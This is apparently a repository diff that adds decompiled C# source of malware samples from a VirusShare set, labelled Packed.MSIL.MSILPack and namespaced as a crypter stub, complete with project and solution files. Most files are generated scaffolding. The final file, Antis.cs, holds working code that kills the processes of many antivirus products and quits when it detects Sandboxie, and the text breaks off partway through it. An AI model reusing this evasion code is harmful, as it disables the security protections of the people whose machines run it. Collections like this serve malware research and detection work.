+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/My/MyApplication.cs

@@ -0,0 +1,50 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyApplication
+// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 21147853-93D6-4D72-BDEB-4D9A58FE4C63
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyComputer
+// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 21147853-93D6-4D72-BDEB-4D9A58FE4C63
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyComputer : Computer
+  {
+    [DebuggerHidden]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/My/MyProject.cs

@@ -0,0 +1,207 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyProject
+// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 21147853-93D6-4D72-BDEB-4D9A58FE4C63
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    internal sealed class MyWebServices
+    {
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/My/MySettings.cs

@@ -0,0 +1,68 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettings
+// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 21147853-93D6-4D72-BDEB-4D9A58FE4C63
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace CrypterStub_3.My
+{
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MySettingsProperty
+// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 21147853-93D6-4D72-BDEB-4D9A58FE4C63
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My
+{
+  [StandardModule]
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.Resources.Resources
+// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 21147853-93D6-4D72-BDEB-4D9A58FE4C63
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace CrypterStub_3.My.Resources
+{
+  [CompilerGenerated]
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) CrypterStub_3.My.Resources.Resources.resourceMan, (object) null))
+          CrypterStub_3.My.Resources.Resources.resourceMan = new ResourceManager("CrypterStub_3.Resources", typeof (CrypterStub_3.My.Resources.Resources).Assembly);
+        return CrypterStub_3.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => CrypterStub_3.My.Resources.Resources.resourceCulture;
+      set => CrypterStub_3.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/Packed.MSIL.MSILPack.a.csproj

@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{992CF525-48C1-4D87-A613-DEF445EC7619}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>stub</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>CrypterStub_3</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Form1.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/Packed.MSIL.MSILPack.a.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub", "Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb.csproj", "{992CF525-48C1-4D87-A613-DEF445EC7619}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{992CF525-48C1-4D87-A613-DEF445EC7619}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{992CF525-48C1-4D87-A613-DEF445EC7619}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{992CF525-48C1-4D87-A613-DEF445EC7619}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{992CF525-48C1-4D87-A613-DEF445EC7619}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-4562fd0ef1cec0b91c631c2ad107e6c6b783c52bf1e65ae1c8c8c384799fcbcb/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407/Antis.cs

@@ -0,0 +1,472 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Antis
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.MSIL.MSILPack.a-5200ef86512f01d34559fa14e8c029b42e1f0073c66843229092ae4306de0407.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  public class Antis
+  {
+    [DebuggerNonUserCode]
+    public Antis()
+    {
+    }
+
+    public static void Enable()
+    {
+      Antis.mofo();
+      Antis.AntiAntiGen();
+      Antis.AntiAsquared();
+      Antis.AntiAvast();
+      Antis.AntiAVG();
+      Antis.AntiBullGuard();
+      Antis.AntiClamAV();
+      Antis.AntiComodo();
+      Antis.AntiEstNod32();
+      Antis.AntiEwido();
+      Antis.AntiFPROT6();
+      Antis.AntiKaspersky();
+      Antis.AntiMcAfee();
+      Antis.AntiNorton();
+      Antis.AntiOfficeScan();
+      Antis.AntiOutPost();
+      Antis.AntiPCCillin();
+      Antis.AntiServerProtect();
+      Antis.AntiSpySweeper();
+      Antis.AntiThreatExpert();
+      Antis.AntiVirtualPC();
+      Antis.AntiZoneAlarm();
+    }
+
+    public static void AntiSandboxie(Form frmSelect)
+    {
+label_0:
+      int num1;
+      int num2;
+      try
+      {
+        ProjectData.ClearProjectError();
+        num1 = -2;
+label_1:
+        int num3 = 2;
+        if (!frmSelect.Text.Contains("#"))
+          goto label_9;
+label_2:
+        num3 = 3;
+        frmSelect.Close();
+        ProjectData.EndApp();
+        goto label_9;
+label_4:
+        num2 = num3;
+        switch (num1 > -2 ? num1 : 1)
+        {
+          case 1:
+            int num4 = num2 + 1;
+            num2 = 0;
+            switch (num4)
+            {
+              case 1:
+                goto label_0;
+              case 2:
+                goto label_1;
+              case 3:
+                goto label_2;
+              case 4:
+              case 5:
+              case 6:
+                goto label_9;
+            }
+            break;
+        }
+      }
+      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
+      {
+        ProjectData.SetProjectError(ex);
+        goto label_4;
+      }
+      throw ProjectData.CreateProjectError(-2146828237);
+label_9:
+      if (num2 == 0)
+        return;
+      ProjectData.ClearProjectError();
+    }
+
+    public static void AntiMcAfee()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mcagentmcuimgr", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAVG()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avgemc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAsquared()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "a2servic", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAvast()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ashWebSv", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiClamAV()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "clamauto", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiComodo()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
